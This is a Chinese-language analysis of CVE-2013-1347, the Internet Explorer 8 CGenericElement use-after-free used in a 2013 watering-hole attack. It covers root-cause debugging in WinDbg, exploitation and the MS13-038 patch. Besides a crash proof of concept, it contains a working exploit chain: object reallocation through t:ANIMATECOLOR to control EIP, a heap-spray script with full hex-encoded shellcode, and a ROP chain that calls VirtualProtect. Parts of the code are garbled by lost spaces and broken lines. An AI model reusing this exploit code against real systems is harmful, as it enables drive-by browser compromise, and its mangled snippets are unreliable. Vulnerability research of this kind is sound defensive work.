CVE-2013-1347分析
CVE-2013-1347Microsoft IE CGenericElement UAF
-
背景
"水坑"攻击事件,2013年五月一日,美国劳工部网站被黑,并利用IE漏洞漏洞对浏览网站的用户进行攻击,当时全补丁的IE8均受影响,随后微软也紧急发布安全公告进行预警。此次事件正是利用cve20131347这个IE漏洞导致的,黑客通过分析目标的网络活动规律,寻找目标经常访问的网站弱点,先攻下这些网站并植入攻击代码等待目标访问网站时实施攻击。当受害者使用IE8浏览器访问美国劳工部网站时就会在本地加载mshtml.dll和jscript.dll两个动态链接库来解析,从而触发恶意脚本,这个和蠕虫病毒有类似的地方。此类方法被称为"水坑攻击"。
二、漏洞分析
2.1、分析环境
使用的环境
版本
操作系统
windows7 32
旗舰版
漏洞软件
Internet Explorer
8.0.7601.17514
调试器
WinDbg
6.1
反汇编器
IDA Pro
6.8
2.2、测试用的poc代码如下
<!doctype html><!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0);
f1=document.createElement('span');
document.body.appendChild(f1);
f2=document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));//has to be a data list
f1.appendChild(document.createElement('table'));//has to be a table
try{
f0.offsetParent=null;//required
}catch(e){}
f2.innerHTML="";//required
f0.appendChild(document.createElement('hr'));//required
f1.innerHTML="";//required
CollectGarbage();
</script>
</body>
</html>
2.3、分析漏洞成因
打开IE8进程,使用WinDbg附加IE8进程(F6),会发现出现一个窗口,如下图1所示。会出现两个IE进程,我们要选择下面那一个。点击ok,出现如下图2所示。在命令窗内使用g命令,然后如下图3所示,选择"允许阻止的内容"选项,WinDbg会断下来触发异常,执行到一个没有指令的地址。如下图4所示。
图 1
图 2
图 3
图 4
查看调用堆栈,在命令窗内使用kv命令,如下图5所示,然后查看IE崩溃时栈顶的返回地址0x67a4c407,查看这个地址附近,可以找到,崩溃前执行过的操作,如下图6所示。
图 5
图 6
又看到了我们颇为熟悉的虚函数调用指令,刚好在mshtml!Celement::Doc中调用到此函数虚函数,但是直接在这个函数上下断点,这个断点会不停的被断下,IE8程序本身会不停的调用它。
2.4、开启hpa
通过WindDbg中的gflags.exe工具即可开启页堆,在uaf漏洞中,我们依然可以借助他来辅助分析,右键WinDbg打开文件所在位置。在这个目录下可以找到gflags.exe,如下图7所示。在空白处,按住shfit+鼠标右键,选中"在此打开命令窗口",如下图8所示。在命令行窗口,输入gflags.exe/iiexplore.exe+hpa如下图 9所示。
图 7
图 8
图 9
我们继续使用WinDbg,附加程序(F6),在命令窗口输入!Gflag,查看是否开启成功hpa,如下图10所示,是成功开启的。
图 10
2.5、调试poc.html
重新打开poc.html,然后使用WinDbg附加(F6)调试,然后断下。如下图11,所示。使用heap命令查看ecx,在命令窗如输入!heappaecx,如下图12所示。
图 11
图 12
相对刚开始崩溃的场景,开启页堆(hpa)后会断的更加及时,而且能得到更多的堆信息。从上面输出的堆信息,可以断定此处是引用已释放的堆地址才导致的崩溃,从栈回溯情况来看,这里引用的是已被删除的CGenericElement对象,是在javaScript垃圾回收时被释放的内存重引用导致的。
三、逆向分析IE引擎对javaScript代码的解析
3.1、分析元素创建过程
为了找出导致漏洞的本质原因,我们需要对ie引擎在解析poc中的javaScript代码进行逆向分析,尤其是dom树结构的构建过程。先重poc.html中第一句javascript代码开启,他主要创建span元素,如下所示。
f0=document.createElement('span');
WinDbg中存在x命令,可用于查询符号,并且支持"?*"等通用符,借助它可以查找与document.createElement相关的处理函数。在命令窗口输入如下命令,如下图13所示。
图 13
可以看到,CDocument::createElementCDocument::CreateElementHelper可能解析JavaScript代码中的document.createElement函数相关,因此先逆向分析CDocument::createElement函数。使用IDA分析mshtml.dll文件,可以在c盘所搜mshtml.dll也可以在WinDbg加载以后使用lmvm命令如下图14所示,定位CDocument::createElement函数,可以发现他最终会调CDocument::CreateElementHelper来实现,如下图15所示。
图 14
图 15
跟进CreateElementHelper,可以发现他调用CMarkup::CreateElement创建元素,如下图16所示。
图 16
我们继续跟进CMarkup::CreateElement创建元素,发现他最终会在调用CreateElement,如下图17所
图 17
Create会从一个特定的函数数组中寻找相应的元素创建函数,如下图18图19所示。此处poc创建的是span元素,那么他就调用CSpanElement::CreateElement。因此,在calleax指令处下断查看调用的函数(可能会有两地址都同名为CreateElement的情况,我们直接使用第二个地址),可以鉴别当前创建的的是哪个元素。如下所示
bumshtml!CreateElement+0x41"lneax;gc"
图 18
图 19
继续分析CSpanElement::CreateElement函数,他首先会HeapAlloc分配一块大小为28字节的内存,接着调用CElement::CElement创建元素,将元素内容写入前面分配的内存地址,如图20和图21所示。
图 20 CSpanElement::CreateElement
图 21 CElement::CElement
因此为了查看创建元素所在的内存数据,可以在CElement::CELement下断点(不在CSpanElement::CreateElement下断点是为了保证通用性,因为不是每个元素创建都会调用到CSpanElement::CreateElement,而CElement::CElement是各个元素创建时,必经之路)。可以使用如下断点.
bumshtml!CElement::CElement+0x1e".echo'===CElement===';ddedil(28/4);gc"
bumshtml!CreateElement+0x41"lneax;gc"
28/4中的0x28是元素大小,dd命令以四个字节为单位,所以显示长度为0x28/4。打开WinDbg使用Ctrl+E,加载iexplore.exe然后使用.childdbg1开启调试子进程。下断点.bumshtml!CreateElement+0x41"lneax;gc"这条指令,会出现两个地如下图22所示(需要加载mshtml以后才可以),我们使用第二个地址,下断点如下所示。
bp 64254bb0+37"lneax;gc"
图 22
运行后打开poc.html,可以看到各个元素的创建过程,创建顺序跟poc中的各个标签一致,如下图23所示(截图取部分)。
图 23
3.2、元素添加dom树过程
分析完元素的创建过程,继续看下一句JavaScript代码,他会在dom树中插入前面已创建的元素,如下所示。
document.body.appendChild(fo);
在WinDbg中使用查看包含appendChild的符号如下所示,如下图24所示。
x mshtml!*appendChild*
图 24
从poc代码中知道他在网页中添加f0元素,因此先针对CElement::appendChild函数进行分析。该函数直接调用CElement::insertBefore函数进行处理,如下图25所示,然后在调用CElement::InsertBeforeHelper函数,如下图26所示。
图 25CElement::appendChild
图 26 CElement::insertBefore
我们在次,使用WinDbg动态跟踪CElement::InsertBeforeHelper函数的处理过程,使用如下所示命令,单步调试下去,发现他会调用CElement::GetDOMInsertPosition获取元素插入DOM树的位置。此处,poc是在body主体内插入span元素f0,如下图27所示。
bp mshtml!CElement::InsertBeforeHelper
图 27
找到元素插入的位置,接下来就是执行插入动作,我们继续跟踪调试进去,如下图28所示。
图 28
从上图得知,程序接下来会调用mshtml!CCommentElement函数,跟踪进去发现他会先调用mshtml!CElement::Doc获取CDoc对象,代表网页中的HTMLDocument文档,如下图29所示。
图 29
接下来调用CDoc::InsertElement函数,顾名思义,该函数正是插入元素的关键函数,如下图30所示。
图 30
跟进CDoc::InsertElement函数,发现其尾部会直接调用CMarkup::InsertElementInternal函数,如下图31所示。
图 31
CMarkup::InsertElementInternal函数里面会在DOM结构树里面搜索准备插入的分支节点,此处是body节点,找到后会分配0x4c大小的内存(后面需要用到),然后调用CTreeNode::CTreeNode构建所添加元素的DOM树数据结构信息,如下图32所示。
图 32
在执行CTreeNode::CTreeNode后会得到span元素的CTreeNode对象地址,里面就指向span元素,如下图33所示。
图 33
为了知道所创建的元素的CTreeNode,我们可以在CTreeNode::CTreeNode函数执行的下一条指令下断,使用如下命令,即可获得CTreeNode对象地址,如下图34所示。
bu mshtml!CMarkup::InsertElementInternal+1ec".echo'===CTreeNode===';ddeaxl1;dpspoi(eax)l1;gc"
图 34
结合前面创建元素断点的方法,我们可以实时的列出所添加元素的CElement和CTreeNode对象地址及内容,使用如下所示命令,执行如下图35所示(部分截图)。
bu mshtml!CElement::CElement+0x1e".echo'===CElement===';dd edi(28/4);gc"
bu mshtml!CreateElement+0x41"lneax;gc"
bu 07714bb0+41"lneax;gc"
bu mshtml!CMarkup::InsertElementInternal+1ec".echo'===CTreeNode===';ddeaxl1;dpspoi(eax)l1;gc"
图 35
根据上面的日志信息,可以知道漏洞对象CGenericElement就是在f2添加datalist时创建的,相当于poc中的代码,如下所示。
f2.appendChild(document.createElement('datalist'))
基于前面的分析,我们继续跟踪分析CGenericElement的创建过程对CMarkup::InsertElementInternal下断点,如下图36所示。
图 36
从这里可以看到,在mshtml!CMarkup::InsertElementInternal函数里面分配的内存正是用于构造DOM树数据结构的CTreeNode,里面存放的元素对象的地址。关于poc中元素的创建以及添加到DOM树的过程,已分析完毕。搜索DOM树中的f0元素的祖先,并将其置空,并非清空body元素,只是将f0与body断绝关系。分析到这里,可以关闭hpa了,开着也可。
3.3、使用IE调试poc
重新打开ie加载poc.html,然后按下F12就可以打开,开发人员工具,然后选择"脚本"在代码行号前单击一下,即可下断点,如下图37所示。
图 37
然后点击调试按钮,然后右击"有利于安全性",选择允许阻止的内容,就会在断点断下。如下图38所示
图 38
我们在fo.offsetParent指向body元素,按下f11逐句调试,在执行f0.offsetParent=null后,在"局部变量"窗口可以看到offsetParent值变为null了。如下图39所示。
图 39
3.4、源码比对
使用如下所示命令,搜索可能相关的函数,如下图40所示。
x mshtml!*offsetParent*
图 40
从输出情况来看,最有可能的就是CElement::get_offsetParent函数CElement::GetOffsetParentHelper函数,其实get_offsetParent最终也是调用GetOffsetParentHelper,因此在GetOffsetParentHelper函数上下断点。因为这里会先查找临近的祖先元素,所以也会去索引DOM树结构,CTreeNode结构数据可能会进行读写操作,为了弄清楚GetOffsetParentHelper函数内对CTreeNode结构的操作情况,对GetOffsetParentHelper函数入口与结尾处下断点。应该对CTreeNode那个位置下断点呢?可以先来看下f0.offsetParent=null删除前后的情况,然后对比f0的CTreeNode数据变化。设置等于f0.offsetParent=null时CTreeNode数据情况,如下图41所示。
图 41
未设置f0.offsetParent=null时CTreeNode数据情况如下,他在CTreeNode+0x44的位置保存CTextBlock结构,如下图42所示。
图 42
里面差别比较明显的就是CTreeNode+8和CTreeNode+c两处数据,因此对其下断点,这样就可以看到GetOffsetParentHelper函数里面哪里地方对CTreeNode上两处地方写错了,如下图43所示。
图 43
虽然代码里面设置的是堆f0.offsetParent置空,但是f1和f2里面的CTreeNode+C也会被写入1,而后面讲innerHTML置空后,该值又被重新写0xffff。重新对CTreeNode+C设置读写断点,看看该值的用途,最后程序断在CTreeNode::GetCharFormat。
图 44
对078c63a6下断点,发现他会遍历每个元素进行处理,不同元素可能不同值,普通的取值范围在0~3,如下图45所示。
图 45
因此,初步推测改值可能为元素的引用计数,当他小于0时,就会调用CTreeNode::GetCharFormatHelper重新计算节点格式,后来在参考ie5的源码,到CTreeNode有如下类定义,如下图46所示,虽然版本有点老,但是基本没有问题,只是不够完整。
图 46
从上面可以看到,CTreeNode+4是父节点的CtreeNode结构,CTreeNode+8是一些标记位定义,CTreeNode+C其实是定义CharFormat整数值_iCF,而f0.offsetParent=null一句刚好会将其置1,这样他就不会调用CTreeNode::GetCharFormatHelper去重新计算格式用于后续渲染,导致原本未被渲染的节点误以为被渲染了。接下来,执行javaScript代码如下所示,执行后的变化如下图47所示。
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML"";
图 47
通过调试javaScript可以很容易的帮助读者理解代码的意思,方便后续的漏洞分析。最后执行CollectGarbage函数进行垃圾回收,漏洞对象CGenericElement就是在垃圾回收时被释放的,f1和f2的内部HTML代码已经被清空,其所占内存就会在垃圾回收时,被释放,此时CGenericElement对象,也就是f2中的datalist元素已被清空,所以CGenericElement对象内存也会被一并释放,其实f1中的TABLE元素也会被释放.
3.5、日志记录
继续打开WinDbg,保留着前面对CElement和CTreeNode的条件记录断点,如下所示,然后重新附加调试,得到结果如下图48所示。
bu mshtml!CElement::CElement+0x1e".echo'===CElement===';dd edi l(28/4);gc"
bu mshtml!CreateElement+0x41"lneax;gc"
bu 66e0e4fc+41"lneax;gc"
//输入上面的指令,选第二个地址
bu mshtml!CMarkup :: InsertElementInternal +1ec".echo' ===CTreeNode===' ; dd eax l1;dps poi (eax)l1; gc "
图 48
上面的CElement和CTreeNode是未赋值的情况,很多还是0初始化。执行
f00offsetParent=null完成赋值,直接看下调试情况可以知道CElement+0x14保存
这CTreeNode的指针,如下图49所示。
图 49
接下来,我们来看垃圾回收后,CGenericElement对象和CTable对象的变化如下图50所示。(其地址参考WinDbg的输出日志),f2的datalist子元素创建的CGenericElement对象已经被释放但其中CTreeNode仍然存在并且依然指向已释放的CGenericElement对象同样f1的table子元素创建的CTable对象也被释放,但其中CTreeNode也依然存在并指向CTable,CTable还不是直接导致UAF的对象。
图 50
垃圾回收前后的对比,CTreeNode依然指向已释放的CTable,如下图51与图52所示。
图 51
图 52
前面我们知道,f0.offsetParent=null会使得未渲染的CTreeNode被误认为渲染过,如果我们把他删除会发现,CGenericElement的CTreeNode结构也会被清除,说明最终未被渲染的结构也会被清除。垃圾回收后,CGenericElement的CTreeNode结构已经被清除,被后面的hr元素占用了。
3.6、UST栈回溯
继续执行下去会出发崩溃,如下图53所示
图 53
查看崩溃时的栈回溯,发现上面很多地方引用到CGenericElement的CTreeNode地址作为参数,如下图54图55所示。
图 54
图 55
最早引用CGenericElement的CTreeNode地址的是ISpanQualifier::GetFancyFormat函数,因此从该函数入手开始分析。先对其下断点。断下后发现CTreeNode是通过eax传递给下一个调用函数的,如下图56所示。
图 56
ISpanQualifier::GetFancyFormat函数的eax可能来自于SLayoutRun::HasInlineMbp函数里的edi,如下图57和图58所示,之所以这么说是因为在调用SLayoutRun::HasInlineMbp函数之前还调用了SRunPointer::SpanQualifier函数,并且尚未知道它是否修复了eax的值。
图 57
图 58
反汇编分析SRunPointer::SpanQualifier函数,发现它确实是修改了eax的值,使得eax=【【eax+4】+c】,如下图59所示,我们已经得知最终得到的eax的值为CTreeNode的地址,那么这里eax+4指的是那个结构呢?
图 59
若对SRunPointer::SpanQualifier函数下断点会断下很多次,因此我们设置条件断点,如下所示,去追踪崩溃前eax+4的值,如下图6061所示。
bu mshtml ! SRunPointer :: SpanQualifier " . echo ' === eax + 4 ===';dd eax+4;g"
图 60
图 61
整个过程是在设置f0.offsetParent=null时发生的,从中可以看出eax+4指向一个数组列表的地址,每个数组偏移+4的地址是数组的id值,偏移+8即是CTreePos地址,用于标记该元素在DOM树的位置,偏移+c则为元素CTreeNode的地址,为了方便分析,暂时将次数组命名为element_array查看element_array列表所占内存的分配来源。(需要开启ust栈回溯记录)。依旧是使用命令行+gflags.exe,如下图62所示。
图 62
开始ust栈回溯,如下图63所示。
图 63
从上面栈回溯信息来看,可以推测出element_array列表是在构造CTexBlock时生成的,前面分析过CTreeNode+0x44保存这CTexBlock的结构体,设置条件断点记录CTexBlock与element_array列表地址,最后发现CTexBlock+0x58保存这element_array列表数据。如下图64图65所示。
图 64
图 65
综上所述,目前我们可以得到以下关键信息。
CElement+0x14=>CTreeNode
CTreeNode+0x0=>CElement
CTreeNode+0x4=>parentCTreeNode
CTreeNode+0xc=>charformat
CTreeNode+0x44=>CTexBlock
CTexBlock+0x58=>element_array
element_array结构:
+00unkown
+04id
+08CTreePos
+0cCTreeNode
通过分析调试,获得CTexBlock部分结构信息,在源码中为搜到CTexBlock的相关信息,因此采用逆向手段去分析。
CTexBlock结构
+00vftable
+04count
+0cstartpos
+10endpos
+1cprev
+20Next
+58element_array
以CGenericElement的CTexBlock结构为例,如下图66所示
图 66
3.7、漏洞的本质
为了弄清楚导致漏洞的根本原因,我们重新分配垃圾回收后,Body主体元素的CTexBlock结构中的element_array的变化情况。上面几个结构的的追踪方法已经分析过,所以我们设置直接下断点进行分析,断点如下所示。
bu mshtml ! CElement :: CElement +0x1e ".echo '=== CElement ===' ;ddedil(28/4);gc"
bu mshtml!CreateElement+0x41"lneax;gc"
bu mshtml ! CMarkup :: InsertElementInternal + 1ec " . echo '
=== CTreeNode ===';ddeax;dpspoi(eax)l1;gc"
在执行垃圾回收后,虽然f0和f1的innerHTML被清空,但是f2CTextBlock里面的element_array依然是span嵌套这datalist元素(CGnericElement)。也就是说,虽然DOM树结构已变,但是内存中保存这DOM树关系结构的CTextBlock并没及时更新,在如上给出的断点上下断,得出如下图67与图68所示
图 67
图 68
此时的CHenericElement对象,CTreeNode,CElement地址已经释放。假如把poc中的f0.offsetParent=null;一行代码去掉,会发现垃圾回收后f2(span)已经不存在CTextBlock和element_array结构了,正是该代码导致的漏洞。接下来,程序调用下列语句,在f0添加hr子元素,这会重新改变DOM树结构,就需要重新遍历DOM树结构,其中就包括已经释放的CGenericElement对象。如下所示。
f0.appendChild(document.createElement('hr'));
执行完JavaScript代码后会重新渲染页面,重新计算节点格式,从而引用到指向已释放对象,CGnericChild的CTreeNode结构,最后触发漏洞。
3.8、小结
1、代码中对f0.offsetParent进行置空,会设置ICF格式整数值为1,使得他不做节点格式计算,相当于被标记为已渲染状态,由于设置f0的父节点bodu,会导致其相邻的f1和f2都受到影响,各个CTreeNode中的iCF都被置1,使得原本没有被渲染误以为被渲染了。
2、在f0添加hr子元素,会改变DOM树结构进行重绘,此时就需要遍历CTreeNode,就会引用到CGnericElement的CTreeNode结构。
3、垃圾回收后,由于第一步的原因,导致CGnericElement的CTreeNode结构未被删除,虽然DOM树的结构以变,但由于构建页面布局的CTexBlock也依然保存这对CGnericElement的引用,而此时CGnericElement早因为f2.innerHTML被清空而释放掉,最终导致uaf漏洞的产生。
4、从上面这些信息,其中导致漏洞的原因跟f0、f1、f2元素关系不大,但必须是块元素和内联元素(否则不会进入CLayoutBlock::BuildBlock构建CTextBlock),比如其中的span、datalist可以替换成u下划线和a标签,此时崩溃对象就不是CGnericElement,而可能是CAnchorElement或者CSpanElement对象,关键在于你poc中所设置的具体元素,而块元素table,也是可以用p或div这样的块元素代替,但是hr不可替换,只有他才会去遍历寻找CTreeNode,进入漏洞触发流程。
图 69
该漏洞和CGnericElement对象并没有任何关系,只是原漏洞发现着提供的poc刚好使用datalist这个元素,才导致CGnericElement对象被释放重引用,因此也被许多国外安全研究人员命名为CGnericElementUAF漏洞,但不代表这就是导致漏洞的根本原因。
四、漏洞利用
4.1、劫持控制eip
只要能覆盖CGnericElement对象内存,就有机会实现利用,因此可以在垃圾回放之后,分配某个对象,并控制对象的内容及大小。在IE8里面刚好有个t:ANIMATECOLOR标签,通过他就可以实现上述目标,如下所示。
<script>
...
CollectGarbage();
...
a=document.getElementById('myanim');
a.values=animvalues;
</script>
<t:ANIMATECOLORid="myanim"/>
t:ANIMATECOLOR标签值是一个用分号分割的字符串,分号的数量决定对象的大小,对象的每个元素都是一个指针,指向分号分割出来的字符串,从前面的分析中已知道漏洞对象CGnericElement的大小为0x4c,所有这里要包含0x4c/4=13个分号的字符串,如下所示。
for(i=0;i<13;i++){
animvalues+=";red";
}
然后用第一个分号前面的字符串覆盖虚表指针,通过分析导致崩溃的mshtml!CElement::Doc函数,可以发现函数在调用虚函数前是通过偏移虚表0x70进行索引的,如下图70所示。
图 70
因此采用0x70/4精确控制edx的值,如下所示。
animvalues="";
//mshtml!CElement::Doc:
//6586c8158b01moveax,dwordptr[ecx]
//6586c8178b5070movedx,dwordptr[eax+70h]
//6586c81affd2calledx
for(i=0;i<=0x70/4;i++){
//t:ANIMATECOLOR标签第一个对象用于覆盖虚表指针
//由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确
控制edx值
if(i==0x70/4){
//animvalues+=unescape("%u5ed5%u77c1");
animvalues+=unescape("%u4141%u4141");//控制
edx=0x41414141
}
else{
animvalues+=unescape("%u4242%u4242");//
0x42424242
}
}
在Windows7+IE8环境可以执行上述代码,发现程序成功执行到0x41414141,结合rop技术科实现任意代码执行。如下图71所示,已成功控制程序流程。
图 71
4.2、堆喷
我们已经劫持了eip,然后通过堆喷,把 shellcode放到要执行的位置。示例代码如下所示。
varshellcode=
unescape("%u9090%u9090%u68FC%u0a80%u1e38%u6368%uD189%u684"+"%u74 32%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3"+
"%u33BB%u5332%u7568%u6573%u5472%uD233%u8B64%u305A"+
"%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u803D"+
"%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B"+
"%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B%u03BB"+
"%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46"+
"%u3BF1%u2454%u751C%u8BE4%u2459%uDD03%u8B66%u7B3C"+
"%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0a80"+
"%u1e38%uA975%uDB33%u6853%u6577%u7473%u6668%u6961"+
"%u8B6C%u53C4%u5050%uFF53%uFC57%uFF53%uF857%u9090"+
"%u9090");
Var paddingg=unescape("%u9090%u9090%u9090%u9090");
while(paddingg.length<1000)
paddingg=paddingg+paddingg;
varpaddinggs=paddingg.substr(0,1000‐shellcode.length);
shellcode+=paddinggs;
while(shellcode.length<100000)
shellcode=shellcode+shellcode;
varonemeg=shellcode.substr(0,64*1024/2);
for(i=0;i<14;i++){
onemeg+=shellcode.substr(0,64*1024/2);
}
onemeg+=shellcode.substr(0,(64*1024/2)‐(38/2));
varspray=newArray();
for(i=0;i<1000;i++){
spray[i]=onemeg.substr(0,onemeg.length);
}
我们将堆喷代码,放入explort.html,使用windbg附加调试,如下图72所示。Shellcode已经到我们的内存布局了。
图 72
4.3、rop指令
构造rop,还记得一开始我们的如下所示代码吗。劫持eip是上面的指令0x41414141,我们可以使用下面的0x42424242构造rop指令,我们怎么才能得知0x42424242的地址呢。如下图73所示。
if(i==0x70/4){
//animvalues+=unescape("%u5ed5%u77c1");
animvalues+=unescape("%u4141%u4141");//控制
edx=0x41414141
}
else{
////0x42424242
anives+=unescape("%u4242%u4242");
}
}
图 73
在上图中得知,0x42424242就在eax中,我们可以使用xchgeax,esp指令进行换栈。那么eax的值就是栈内的值。使用od调试器,按下ctrl+s可以搜索指令,如下图74所示。
图 74
将0x41414141的地址换成上图地址,然后ret的就是我们的0x42424242地方的内容了。怎么去构造下面的内容呢,我使用的是如下所示:
varq=0;
for(i=0;i<=0x70/4;i++){
//t:ANIMATECOLOR标签第一个对象用于覆盖虚表指针
//由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确
控制edx值
if(i==0x70/4){
//animvalues+=unescape("%u5ed5%u77c1");
animvalues+=unescape("%u08f8%u7764");//xchg
eax,espret
}
else{
//这里就是eax的地址,用来构造rop
q+=1;
if(q==1){
animvalues+=unescape("%ue4f6%u7580");//ret到
VirtualProtect
continue;
}
if(q==2){
animvalues+=unescape("%u7500%u4141");//参数返回地址
continue;
}
if(q==3){
animvalues+=unescape("%u7400%u4141");//参数起始地址
continue;
}
自己将其需要的参数,自己构造进去,直接就能使用。使用rop(poppopret)指令,改变内存的执行属性,然后去执行shellcode。比如可以使用VirtualProtect这个APi。最后将改好的explort.html文件打开,然后使用调试器附加执行。查看是否正确执行。如下图75所示,我们的shellcode已经正确执行。
注:这是uncode字符,其中不能出现0000.四个0在一起,否则就会截断。
图 75
五、漏洞修复
5.1、下载安装补丁
去微软官网下载补丁,如下图76所示。下载完的补丁如下图77所示,要选好对应自己电脑版本号和IE版本号,本次的补丁编号是MS13038 。
图 76
图 77
补丁文件和exe一样,直接双击运行即可,如下图78所示。(要特别注意ida符号问题),点击然后等待安装,安装完成成功后有如下图79所示窗口。
图 78
图 79
5.2、补丁比对
CBlockContainerBlock::buildBlockContainer函数中,会对CLayoutBlock进行重绘。重绘的基本算法是:
1、根据重绘时当时的CTreeNode节点去生成CLayoutBlock 。
2、如果CTreeNode没有关联的CLayoutBlock,则生成响应的CLayoutBlock,如果存在则将CTreeNode加入到CLayoutBlock中。
3、在遍历CTreeNode的同事,也会对CLayoutBlock进行遍历,当前的CTreeNode指向的CLayoutBlock和当前的节点不一致时,需要删去该CTreeNode。
4、当CTreeNode遍历完成之后,如果当前的CLayoutBlock的指针pLastLayoutBlock不为空,则需要进行的操作,如下图80所示。
图 80
会对参数传递进来的CLayoutBlock+0x08处第11useflag位置进行判断(一般是CRootElement对应的CLayoutBlock),如果未置位,则不会进入到RemoveChild的流程中。打上补丁后,如下图81所示。
图 81
打过补丁后,可以看到,RemoveChild删除的操作,仅仅在pLastLayoutBlock指向的CLayoutBlock不为空时就执行,不会在判断参数传递进来的CLayoutBlock+0x08处的第11位是否置位。
六、总结
为了保证重绘的效率,IE浏览器不会再DOM树有改变时马上进行重新布局,而是等到需要重绘时,才去计算布局。这样导致早操作DOM树的过程中,CTreeNode节点和CLayoutBlock中包含的信息可能不一致。当需要使用的时候,再去同步。但是IE在某些情况下,会同步出现错误(CTreeNode遍历完成,但是CLayoutBlock没有遍历完),则将导致错误的CLayoutBlock(指向已经释放的CTreeNode)对象放在布局链表的尾部,当使用这些错误的Layout元素进行重绘时,会访问已经释放了得CTreeNode,最终导致的UAF。
参考资料
漏洞战争
https://www.doc88.com/p-3167465799538.html